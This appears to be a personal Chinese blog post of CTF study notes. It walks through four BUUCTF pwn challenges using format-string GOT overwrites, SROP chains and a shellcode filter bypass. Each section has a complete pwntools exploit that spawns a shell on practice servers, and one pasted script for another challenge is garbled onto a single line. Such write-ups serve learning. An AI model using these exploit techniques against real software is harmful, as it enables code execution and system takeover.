banner
NEWS LETTER

buu刷题路

Scroll down

buu刷题路

之前在buu上也遇到很多有意思的题,但是当时太懒,也就没有记录,可能是自己没有学习的劲头吧,现在想要好好学习,所以开始记录一些自己觉得有价值的题,多学一点儿,后面打ctf 的时候更加轻松一点儿,不至于每次打比赛看到题都是两眼一抹黑。

Pwntools的context设置与shellcode_pwntools context-CSDN博客

这篇文章是pwntools的context的环境设置。

1.inndy_echo 1

最近一直在写一些有关pwntools工具利用的问题,感觉记不住,就记录下来方便以后查看。

前置知识:在 pwntools 中,fmtstr_payload() 是一个用于 自动化构造格式化字符串漏洞(Format String Exploit) 的 payload 的函数。它的作用是 利用 printfsprintf 等格式化字符串函数的漏洞,向内存中写入任意数据(例如修改 GOT 表劫持程序执行流)。

函数原型

python

1
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
  • offset:格式化字符串的偏移位置(即 %n$p 中的 n)。
  • writes:一个字典 {addr: value},表示要往哪些地址写入哪些数据。
  • numbwritten(可选):已经输出的字符数(默认 0)。
  • write_size(可选):写入大小,可以是 'byte''short''int'(默认 'byte')。

但是在pwntools库中函数模型如下所示,

1
fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})

参数解析

  1. argue_place
    • 表示格式化字符串的偏移量,即在栈上 printf 的第几个参数是可控的。
    • 例如,如果输入 "AAAA%6$p" 时输出 AAAA0x41414141,说明偏移量是 6
  2. {printf_got_addr: system_plt_addr}
    • 表示要修改 printf 的 GOT 表项(printf_got_addr),使其指向 system 的 PLT 地址(system_plt_addr)。
    • 这样,当程序调用 printf 时,实际执行的是 system,从而可能实现任意命令执行(如 system("/bin/sh"))。

题目解析

1.例行检查,32位程序,开启了nx保护
在这里插入图片描述

xxxxxxxxxx from pwn import *context.arch=’amd64’p=remote(‘node5.buuoj.cn’,26619)#p=process(‘./axb_2019_fmt64’)elf = ELF(“./axb_2019_fmt64”)libc=ELF(‘/home/gwht/Downloads/libc6_2.23-0ubuntu11_amd64.so’)#libc=ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)payload=b’ZXD%11$s^%12$s^%13$s—-‘+p64(elf.got[‘memset’])+p64(elf.got[‘read’])+p64(elf.got[‘sprintf’])#gdb.attach(p)#pause()p.send(payload)p.recvuntil(‘ZXD’)memset=u64(p.recvn(6).ljust(8,b’\x00’))p.recvn(1)read=u64(p.recvn(6).ljust(8,b’\x00’))p.recvn(1)sprintf=u64(p.recvn(6).ljust(8,b’\x00’))log.success(hex(memset))log.success(hex(read))log.success(hex(sprintf))libc_addr=sprintf-libc.sym[‘sprintf’]log.success(hex(libc_addr))system=libc_addr+libc.sym[‘system’]log.success(hex(system))payload=fmtstr_payload(8,{elf.got[‘strlen’]:libc_addr+libc.sym[‘system’]},numbwritten=9)#payload=’1145141919810’#gdb.attach(p)#pause()p.send(payload)payload=’;$0;cat flag’p.send(payload)​p.interactive()python

image-20250714111542897

3.32ida检查

image-20250714111552474

也能看出有格式化字符串漏洞,并且能一直运用;

看到程序里存在格式化字符串漏洞,而且有system函数,想到的是将printf@got修改为system@plt,由于一开始system没用执行,所以got表里的地址不对,得用plt表里的。然后传入bin/sh即可

pwntools集成了一个很强的工具,我们可以通过它快速修改对应的值,
命令格式: fmtstr_payload(argue_place, {printf_got_addr: system_plt_addr})
其中argue_place代表payload中前四个字符所在的参数位置(就是说%p$n中p的值,我们长叫它偏移量)

5.编写exp并打通靶机

image-20250714111606255

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p=remote("node5.buuoj.cn",28857)

elf=ELF("./echo")
system_plt=elf.plt['system']

printf_got=elf.got['printf']

payload=fmtstr_payload(7,{printf_got:system_plt})

p.sendline(payload)

p.sendline("bin/sh\x00")

p.interactive()

2.rootersctf_2019_srop

借鉴文章

通过三道题目学习SROP技术 | LiuLian

1.首先还是checksec一下,看一下这道题的保护机制,可以看到这道题只开启了nx保护。

image-20250714111617270

2.上述可以看到这是一道64位的程序,拖入ida中(如下图所示),我们可以看到程序很简单,两步写入和读入

image-20250714111625228

image-20250714111633820

上述的前提是

可以通过栈溢出控制栈上的内容。

需要知道栈地址,从而知道如传入的“/bin/sh”字符串的地址。

需要知道syscall的地址。

需要知道sigreturn的内存地址。

这道题读入0x400字节,足够构造多个sig片段,下图ida中可以看到syscall的地址

image-20250714111649520

由于没有bin/sh/字符串,但是有一个可读可写的data片段,

image-20250714111701030

然后通过SROP执行一次read系统调用(主要目的是为了写入/bin/sh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#read(0,addr,0x400)
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read # read
frame.rdi = 0 # stdin
frame.rsi = data_addr
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = data_addr

payload = 'a'*0x80 + 'b'*8
payload += p64(pop_rax_syscall_leave_ret)
payload += p64(15) + str(frame)


c.send(payload)

然后向addr写入/bin/sh并再次进行sigreturn系统调用,执行execve('/bin/sh',0,0)

1
2
3
4
5
6
7
8
9
10
11
12
13
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_leave_ret

payload = '/bin/sh\x00' + p64(pop_rax_syscall_leave_ret)
payload += p64(15) + str(frame)

c.send(payload)

c.interactive()

注意第一次构造frame的时候,我们设置了frame.rsp = addr,frame.rbp = addr,这是因为由于我们的gadgets是syscall;leave;ret,中间有个leaveleave就相当于mov rsp,rbp;pop rbp,为了构造SROP链,我们需要让rsp指向我们下一个payload的地址,但如果我们的rbp为0的话,leave以后rsp也为0,这显然不符合我们的要求,所以这个需要让rbp=addr

但由于leave还有一个pop rbp的功能,这里构造就较为巧妙,我们addr的位置前8字节正好被写为/bin/sh\x00,这样当我们ret的时候,正好能将p64(pop_rax_syscall_leave_ret)传给rip来执行,然后进行下一次sigreturn系统调用。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# p = process('./srop')

p=remote('node5.buuoj.cn',28017)

pop_rax_syscall_leave_ret = 0x401032
'''
.text:0000000000401032 pop rax
.text:0000000000401033 syscall
.text:0000000000401035 leave
.text:0000000000401036 retn
'''

syscall_leave_ret = 0x401033
'''
.text:0000000000401033 syscall
.text:0000000000401035 leave
.text:0000000000401036 retn
'''
syscall_addr = 0x401046
data_addr = 0x402000

frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read # read
frame.rdi = 0 # stdin
frame.rsi = data_addr
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = data_addr

payload = b'a'*(0x80+8) + p64(pop_rax_syscall_leave_ret) + p64(15) + bytes(frame)

p.send(payload)

frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve # execve
frame.rdi = data_addr # stdin
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

payload = b'/bin/sh\x00' + p64(pop_rax_syscall_leave_ret)
payload += p64(15) + bytes(frame)

p.send(payload)

p.interactive()

3.ciscn_2019_s_3

借鉴文章

https://blog.csdn.net/m0_55368674/article/details/129103883?fromshare=blogdetail&sharetype=blogdetail&sharerId=129103883&sharerefer=PC&sharesource=2401_86608136&sharefrom=from_link

前提:这道题的前置条件是libc是ubuntu18,先要将elf文件的libc.so文件先换掉,命令如下:

1
patchelf --replace-needed libc.so.6 /home/zzt/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6 ciscns3
1
patchelf --set-interpreter /home/zzt/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-linux-x86-64.so.2    ./ciscns3

1.首先还是先checksec一下,去查看一下这道题的保护机制,我们可以看到只开启了nx保护

image-20250714111723613

2.我们可以从上述看到这是一个64位程序拖入ida中进行反编译查看源码

main

image-20250714111730895

vuln

image-20250714111737868

sub_4004E2

image-20250714111747327

image-20250714111753547

gadgets

image-20250714111811387

image-20250714111818365

我们还可以看到ida反汇编里又sub_4004E2和gadgets是可以利用的,那我们就有两种方法去写这一道题,第一种方法就是利用gadgets去构造srop,第二种利用execve构造csu。我们还可以提取到的信息是read读入0x400个字节,并且这个程序是没有这个bin/sh/地址,但是我们可以看到这是先读再写并且写出的区间是比读入的区间大的,那么是不是有泄露信息的可能。那我们就有了一个思路,将/bin/sh字符串写入程序,这样程序就有了/bin/sh字符串的地址了,然后通过srop的系统调用进行调用,至此我们理论上就构造了一个execve(/bin/sh,0,0);

构造/bin/sh字符串并获取其地址
思路:利用栈溢出首先利用本题的sys_read去读一个/bin/sh,但是需要我们leak出字符串在栈中的地址,因为栈中的位置都是通过偏移确定的,所以要确定栈偏移。

找偏移一般先确定栈的地址然后在确定字符串在栈中的地址:
栈地址-字符串在栈中的地址 = offset
每次在运行程序中,字符串相对于栈基地址的offset是相同的

在main函数开始时rsi存的便是栈地址,我们通过GDB来调试查看,栈基地址为de98。

image-20250714111828025

接着我们使用sstep命令接着运行,输入字符串/bin/sh,然后使用search功能搜索字符串,找到我们输入的字符串在栈上的位置,可以看到地址为dd80

image-20250714111836067

image-20250714111844197

由此可见输入位置距离栈基址是118个偏移

这时候我们查看一下/bin/sh字符串附近的内容,看到我们的基地址e058在相对偏移为0x20的地方,IDA中我们之前看到,write系统调用打印出了0x30个字节的数据,这说明我们可以接受到输出的基地址。

image-20250714111906423

实际上这一步我们的最终目标是要找到/bin/sh字符串的地址,明显的程序中只有一个write函数进行了输出,我们的思路就是从输出的这0x30个字节中,找到可以用来计算/bin/sh地址的部分。最终,我们挑选的就是栈基地址 de98 。这个栈基地址是怎么被发现的,暂不清楚。

使用pwntools中的SigreturnFrame函数构造帧
ROP方法的思路都是通过gadgets设置寄存器的值来实现漏洞利用的,SROP也是从属于ROP方法中的一员。它利用了Linux系统信号处理过程中的漏洞,即在信号处理过程中会将用户态上下文环境及寄存器的值保存在用户态的栈中,处理完后再读取栈中的数据恢复寄存器的值。sigreturn系统调用就是处理完后那一阶段执行的系统调用,它会读取当前栈空间中的数据作为寄存器的值。因此这里我们利用栈溢出漏洞和sigreturn系统调用就可以实现SROP的攻击方法。首先利用栈溢出将返回地址设置为实现sigreturn系统调用的gadget,然后再将其后面的栈空间布置成我们想要设置的寄存器的值。待sigreturn系统调用执行完毕,此时的寄存器值,包括RSP/ESP和RIP/EIP都会被改变,所以SROP强大之处就是改变了所有的寄存器,这可以让我们实现任何想要的系统调用,但附带效果就是会改变栈顶指针RSP/ESP,有时候这并不是我们想要的。

1
2
3
4
5
6
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve # execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = process('./ciscns3')

# p=remote(')


pop_rax_ret = 0x4004DA
'''
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
'''

syscall= 0x400517

data_addr = 0x601000
main = 0x4004ED
vul_addr = 0x4004ed
payload = b'/bin/sh\x00' + b'a'*0x8 + p64(0x4004f1)
p.send(payload)
p.recv(0x20)
#这里是接收0x20字节之后,再接收0x8的字节也就是栈地址
binsh_addr = u64(p.recv(0x8)) - 0x118

log.success('stack_addr: ' + hex(binsh_addr+0x118))
log.success('/bin/sh_offset_addr: ' + hex(binsh_addr))

frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve # execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = b'c'*0x10 + p64(pop_rax_ret) + p64(syscall) + bytes(frame)

p.send(payload)

p.interactive()

4.有限制的shellcode

今天在buuctf平台上刷到一题,是一道有限制的shellcode,

image-20250714111921035

这个题目限制如下

image-20250714111933764

image-20250714111942615

那么看到这里,我们是不是有一个疑问,为什么要用\x00绕过呢

al是这么解答的

image-20250714111953369

image-20250714112003561

我的理解是\x00就是提前截断内容,让他停止检测,然后我就可以输入任何恶意指令,而两个\x00是为了确保程序被截断,但是我尝试了一下,一个\x00是不会被执行的

是这样的

#\x00B后面加上一个字符,对应一个汇编语句。所以我们可以通过\x00B\x22、\x00B\x00 、\x00J\x00等等来绕过那个检查
#b”\x00\xc0”(64)

也就是对应这句汇编语言

image-20250714112013212

所以我们使用

1
b'\x00J'+b'\x00'

是为了组成一句合法的汇编语言,然后加上机器生成的shellcode执行就可以,这道题主要就是一个难点,如何截断这个检查,去输入恶意指令,拿到shell。

最后exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.arch="amd64"

# p=remote('node5.buuoj.cn',28028)

p=process('./babyshell')

shellcode=b'\x00J'+b'\x00'+asm(shellcraft.sh())


p.sendline(shellcode)

p.interactive()

I'm so cute. Please give me money.

其他文章
目录导航 置顶
  1. 1. buu刷题路
    1. 1.1. 1.inndy_echo 1
    2. 1.2. 2.rootersctf_2019_srop
    3. 1.3. 3.ciscn_2019_s_3
    4. 1.4. 4.有限制的shellcode